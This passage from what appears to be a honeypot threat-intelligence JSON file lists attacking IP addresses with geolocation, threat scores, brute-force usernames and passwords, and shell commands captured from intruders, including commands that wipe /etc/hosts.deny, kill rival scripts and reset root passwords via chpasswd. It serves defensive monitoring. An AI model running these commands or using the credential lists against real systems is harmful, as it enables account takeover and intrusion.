        "Honeytrap": 112,
        "Redishoneypot": 11,
        "H0neytr4p": 10,
        "Miniprint": 8,
        "Dionaea": 7,
        "ElasticPot": 3,
        "ConPot": 2,
        "Cowrie": 2
      }
    },
    "61.76.24.115": {
      "attack_count": 2,
      "first_seen": "2026-03-30T11:13:28.480Z",
      "last_seen": "2026-03-30T11:13:41.850Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeongdo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T11:13:28.480000+00:00",
        "last_seen_30d": "2026-03-30T11:14:42.892000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "2.57.122.210": {
      "attack_count": 2586,
      "first_seen": "2026-03-04T08:23:34.165Z",
      "last_seen": "2026-03-28T12:01:55.653Z",
      "sessions": 517,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "ubuntu",
        "solana",
        "root",
        "firedancer",
        "bot",
        "eigen",
        "eigenlayer",
        "evm",
        "minima",
        "node",
        "raydium",
        "sniper",
        "stake",
        "test",
        "testing123",
        "trader",
        "trading",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "validator",
        "1",
        "123456",
        "eigenlayer",
        "solana",
        "12345678",
        "elayer",
        "firedancer",
        "stake",
        "ubuntu",
        "!@#$%^",
        "!@#$qazwsxedc",
        "123",
        "1234",
        "12345",
        "1qaz!QAZ2wsx@WSX",
        "1qaz2wsx3edc",
        "1qq2w3e4r5t",
        "4rfv$RFV",
        "ZXCVASDFQWER2!@#$"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 56.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3820,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T08:14:52.098000+00:00",
        "last_seen_30d": "2026-03-28T12:03:01.122000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2586,
        "Suricata": 1234
      }
    },
    "103.154.62.14": {
      "attack_count": 675,
      "first_seen": "2026-03-04T16:58:13.765Z",
      "last_seen": "2026-03-29T21:51:24.380Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aragon",
        "gitlab-runner",
        "andres",
        "backup",
        "cy",
        "gw",
        "ksh",
        "osibell",
        "sammy",
        "servercsgo",
        "sftpuser01",
        "siraisi",
        "student1",
        "sysop",
        "trading",
        "weng",
        "wzhang",
        "yahoo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345",
        "12345678",
        "090909",
        "1234",
        "12345!qwert",
        "1234567q",
        "123456MM",
        "1q2w3e4r5t",
        "1qaz2wsx?",
        "1qaz@WSX3edc",
        "5683",
        "911911",
        "Bingo@1993",
        "Cloud123",
        "Cy123",
        "Daniel2024!",
        "Phoenix1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"aragon\\nvmHcf8pabsvG\\nvmHcf8pabsvG\\n\"|passwd",
        "echo \"gitlab-runner123\\nY8QNon34MIGJ\\nY8QNon34MIGJ\\n\"|passwd",
        "echo \"root:IJqYeQwCwGE0\"|chpasswd|bash",
        "echo \"root:QBpkJMkeUhrQ\"|chpasswd|bash",
        "echo \"root:SCOFOGeo4s4x\"|chpasswd|bash",
        "echo \"root:h9aiD2DGlkaG\"|chpasswd|bash",
        "echo -e \"aragon\\nvmHcf8pabsvG\\nvmHcf8pabsvG\"|passwd|bash",
        "echo -e \"gitlab-runner123\\nY8QNon34MIGJ\\nY8QNon34MIGJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 58.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 832,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T16:58:13.765000+00:00",
        "last_seen_30d": "2026-03-29T21:52:25.025000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 675,
        "Suricata": 157
      }
    },
    "103.67.80.61": {
      "attack_count": 592,
      "first_seen": "2026-03-21T14:56:57.317Z",
      "last_seen": "2026-03-30T00:49:31.168Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bounce",
        "postgres",
        "auditor",
        "jenkins",
        "kirin",
        "kube",
        "kyle",
        "proradis",
        "root1",
        "webserver",
        "wilson"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "!@#qwe123456",
        "!Qaz2wsx3edc",
        "123",
        "12345",
        "12345678",
        "123456789aa",
        "123asd..",
        "1q2q3q4q5q6q7q",
        "1qaz!@#$2wsx",
        "1qaz!QAZ",
        "1qaz@WSX#EDC",
        "1z2x3c!@#",
        "2233445566",
        "258852",
        "369",
        "Admin123$%",
        "Admin1@3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1qaz!QAZ\\npo26CzWuM3pN\\npo26CzWuM3pN\\n\"|passwd",
        "echo \"bounce123!\\nJH4P4iEbPkCk\\nJH4P4iEbPkCk\\n\"|passwd",
        "echo \"root:K0jEw8nyTX7h\"|chpasswd|bash",
        "echo \"root:N1sLTzsqOA18\"|chpasswd|bash",
        "echo \"root:RhB4rzjf6ha2\"|chpasswd|bash",
        "echo -e \"1qaz!QAZ\\npo26CzWuM3pN\\npo26CzWuM3pN\"|passwd|bash",
        "echo -e \"bounce123!\\nJH4P4iEbPkCk\\nJH4P4iEbPkCk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 152001,
      "as_org": "PT Komunikasi Profesional Indonesia",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.7,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 737,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T14:56:57.317000+00:00",
        "last_seen_30d": "2026-03-30T00:50:38.401000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 592,
        "Suricata": 145
      }
    },
    "78.187.21.105": {
      "attack_count": 573,
      "first_seen": "2026-03-02T20:19:06.718Z",
      "last_seen": "2026-03-08T20:09:46.852Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "admin1",
        "gns3",
        "kobo",
        "test",
        "edward",
        "myuser",
        "nodejs",
        "pavel",
        "saad",
        "samuel",
        "tsbot",
        "user",
        "user02"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "1234",
        "12345678",
        "!@#123",
        "123456",
        "12345qwerty",
        "@Dmin1234",
        "A123123A",
        "A1234567090",
        "A1234567T",
        "A123456h^",
        "AA@2021",
        "Aa123Aa123",
        "Aa@12345678",
        "As123456789",
        "Bb@123456",
        "Edward123!",
        "My12345678"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613\\nTHj8WDGmjMSc\\nTHj8WDGmjMSc\\n\"|passwd",
        "echo \"123456\\nW8rkUhZD9w2z\\nW8rkUhZD9w2z\\n\"|passwd",
        "echo \"Bb@123456\\nWgogaBBVKCJe\\nWgogaBBVKCJe\\n\"|passwd",
        "echo \"Yy123456\\nMjdDGc23jdue\\nMjdDGc23jdue\\n\"|passwd",
        "echo \"kobopass\\n2rPyqJ7RfGro\\n2rPyqJ7RfGro\\n\"|passwd",
        "echo \"root:CaJHGV7sqAoN\"|chpasswd|bash",
        "echo -e \"1233218613\\nTHj8WDGmjMSc\\nTHj8WDGmjMSc\"|passwd|bash",
        "echo -e \"123456\\nW8rkUhZD9w2z\\nW8rkUhZD9w2z\"|passwd|bash",
        "echo -e \"Bb@123456\\nWgogaBBVKCJe\\nWgogaBBVKCJe\"|passwd|bash",
        "echo -e \"Yy123456\\nMjdDGc23jdue\\nMjdDGc23jdue\"|passwd|bash",
        "echo -e \"kobopass\\n2rPyqJ7RfGro\\n2rPyqJ7RfGro\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "\u00c7ankaya",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.3,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 674,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:19:06.718000+00:00",
        "last_seen_30d": "2026-03-08T20:10:49.029000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 573,
        "Suricata": 101
      }
    },
    "103.13.207.34": {
      "attack_count": 501,
      "first_seen": "2026-03-14T15:19:29.105Z",
      "last_seen": "2026-03-26T07:28:12.402Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "Test",
        "ec2-user",
        "lee",
        "live",
        "marissa",
        "sdtd",
        "wpuser",
        "a",
        "anna",
        "bkp",
        "developer",
        "ftpsecure",
        "help",
        "lq",
        "mahdi",
        "mm",
        "proradis",
        "rachel"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "12345678",
        "123",
        "1234",
        "99999999",
        "Anna123!",
        "Live123!",
        "Test123",
        "aa123456..",
        "bkp",
        "developer123",
        "ec2-user123!",
        "lee1234",
        "mahdi2025",
        "mm1234",
        "password",
        "superman"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nN56SQ9g8ipZA\\nN56SQ9g8ipZA\\n\"|passwd",
        "echo \"123456\\nzgJfUmLpMsyT\\nzgJfUmLpMsyT\\n\"|passwd",
        "echo \"123\\nQBD6oPHgyT9f\\nQBD6oPHgyT9f\\n\"|passwd",
        "echo \"ec2-user123!\\n3loc0RPG26W4\\n3loc0RPG26W4\\n\"|passwd",
        "echo \"lee1234\\nfeRvca0fX1Xu\\nfeRvca0fX1Xu\\n\"|passwd",
        "echo -e \"12345678\\nN56SQ9g8ipZA\\nN56SQ9g8ipZA\"|passwd|bash",
        "echo -e \"123456\\nzgJfUmLpMsyT\\nzgJfUmLpMsyT\"|passwd|bash",
        "echo -e \"123\\nQBD6oPHgyT9f\\nQBD6oPHgyT9f\"|passwd|bash",
        "echo -e \"ec2-user123!\\n3loc0RPG26W4\\n3loc0RPG26W4\"|passwd|bash",
        "echo -e \"lee1234\\nfeRvca0fX1Xu\\nfeRvca0fX1Xu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.7,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 590,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T15:19:29.105000+00:00",
        "last_seen_30d": "2026-03-26T07:29:18.715000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 501,
        "Suricata": 89
      }
    },
    "42.200.66.164": {
      "attack_count": 468,
      "first_seen": "2026-03-18T14:18:37.291Z",
      "last_seen": "2026-03-19T11:49:04.026Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "alpha",
        "srvadmin",
        "vncuser",
        "wilson",
        "astra",
        "backups",
        "bryan",
        "edwin",
        "efs",
        "glassfish",
        "ionadmin",
        "irfan",
        "kali",
        "mcserver",
        "mobiquity",
        "mosquitto",
        "nikhil",
        "redhat"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "12345",
        "123456",
        "1122334455",
        "1234",
        "159159",
        "Astra123",
        "Redhat123",
        "bryan",
        "glassfish",
        "kali@123",
        "mcserverpass",
        "mosquittopassword",
        "nikhil@123",
        "password",
        "scanpass",
        "user0user0"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nIjGY2qnk0vfQ\\nIjGY2qnk0vfQ\\n\"|passwd",
        "echo \"123\\nOPXTlUUldb05\\nOPXTlUUldb05\\n\"|passwd",
        "echo \"root:RYozTEAM85mt\"|chpasswd|bash",
        "echo \"root:k6IkXc4I5JVK\"|chpasswd|bash",
        "echo \"vncuser1234\\nb2Lz2qYw2iQn\\nb2Lz2qYw2iQn\\n\"|passwd",
        "echo -e \"12345678\\nIjGY2qnk0vfQ\\nIjGY2qnk0vfQ\"|passwd|bash",
        "echo -e \"123\\nOPXTlUUldb05\\nOPXTlUUldb05\"|passwd|bash",
        "echo -e \"vncuser1234\\nb2Lz2qYw2iQn\\nb2Lz2qYw2iQn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 548,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:18:37.291000+00:00",
        "last_seen_30d": "2026-03-19T11:50:12.060000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 468,
        "Suricata": 80
      }
    },
    "40.81.244.142": {
      "attack_count": 425,
      "first_seen": "2026-03-07T09:09:43.566Z",
      "last_seen": "2026-03-23T21:32:27.644Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "boom",
        "cyber",
        "gbase",
        "sbbs",
        "trading",
        "alfred",
        "applmgr",
        "arun",
        "bkp",
        "casa",
        "coolify",
        "def",
        "evan",
        "frontend",
        "george",
        "help",
        "linuxadmin",
        "mikrotik"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123",
        "123.com",
        "12345",
        "12345678",
        "Aa121314",
        "Applmgr123",
        "Boom123",
        "Gbase123",
        "Mikrotik123!",
        "Tiger123!",
        "admin22",
        "arun123",
        "bkppass",
        "boom123",
        "coolify123!",
        "cyber123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"cyber123\\nf3IUblsTxXYA\\nf3IUblsTxXYA\\n\"|passwd",
        "echo \"root:Cqt4URfIJmkr\"|chpasswd|bash",
        "echo \"sbbs1234\\nd0ciC5Y7FMSA\\nd0ciC5Y7FMSA\\n\"|passwd",
        "echo \"trading123\\n7t3oDeTukyrx\\n7t3oDeTukyrx\\n\"|passwd",
        "echo -e \"cyber123\\nf3IUblsTxXYA\\nf3IUblsTxXYA\"|passwd|bash",
        "echo -e \"sbbs1234\\nd0ciC5Y7FMSA\\nd0ciC5Y7FMSA\"|passwd|bash",
        "echo -e \"trading123\\n7t3oDeTukyrx\\n7t3oDeTukyrx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 513,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T09:09:43.566000+00:00",
        "last_seen_30d": "2026-03-23T21:33:37.376000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 425,
        "Suricata": 88
      }
    },
    "116.110.216.174": {
      "attack_count": 424,
      "first_seen": "2026-03-02T23:12:22.156Z",
      "last_seen": "2026-03-02T23:49:27.892Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "support",
        "user",
        "1234",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "cf1c22",
        "config",
        "ftp",
        "ftpuser",
        "george",
        "guest",
        "guest1",
        "helpdesk"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "admin123",
        "0l0ctyQh243O63uD",
        "1111",
        "123456",
        "12345678",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 600,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T23:12:22.156000+00:00",
        "last_seen_30d": "2026-03-02T23:50:33.645000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 424,
        "Suricata": 176
      }
    },
    "170.64.131.135": {
      "attack_count": 419,
      "first_seen": "2026-03-14T22:38:59.552Z",
      "last_seen": "2026-03-14T22:52:30.906Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "alex",
        "ali",
        "a",
        "aaa",
        "abc",
        "administrator",
        "ams",
        "andrea",
        "andrew",
        "anna",
        "app",
        "0000",
        "123456",
        "a1",
        "a1marion",
        "aa",
        "abdi",
        "abdulla",
        "abuse"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345678",
        "admin123",
        "1234",
        "P@ssw0rd",
        "0000",
        "111",
        "1234567",
        "123root",
        "4dm1n",
        "Admin1234",
        "a",
        "a1",
        "aa",
        "aaa",
        "abc",
        "abdi",
        "abdulla",
        "abuse"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 592,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:38:59.552000+00:00",
        "last_seen_30d": "2026-03-14T23:03:27.051000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 419,
        "Suricata": 173
      }
    },
    "185.193.240.246": {
      "attack_count": 410,
      "first_seen": "2026-03-03T13:55:26.594Z",
      "last_seen": "2026-03-31T14:49:32.437Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ceshi2",
        "antoine",
        "cody",
        "demo",
        "gw",
        "matic",
        "solr",
        "tian",
        "toor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123asdASD",
        "123test123",
        "14789632",
        "1QAZxsw2",
        "1q2w3e4r5t6",
        "1qq2w3e4r5t",
        "202611",
        "456852",
        "7ujm8ik,",
        "881213",
        "@WSXxinNET",
        "Aa123456Aa",
        "Bingo@1993",
        "Chicago123",
        "Control1",
        "Digital@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ceshi2123\\nm2WZYHUQBtON\\nm2WZYHUQBtON\\n\"|passwd",
        "echo \"root:6DHghzWFFPYG\"|chpasswd|bash",
        "echo \"root:AQWuGSeyRVAm\"|chpasswd|bash",
        "echo -e \"ceshi2123\\nm2WZYHUQBtON\\nm2WZYHUQBtON\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Skopje",
      "asn": 212645,
      "as_org": "Globalsat Dooel",
      "threat_score": 63.4,
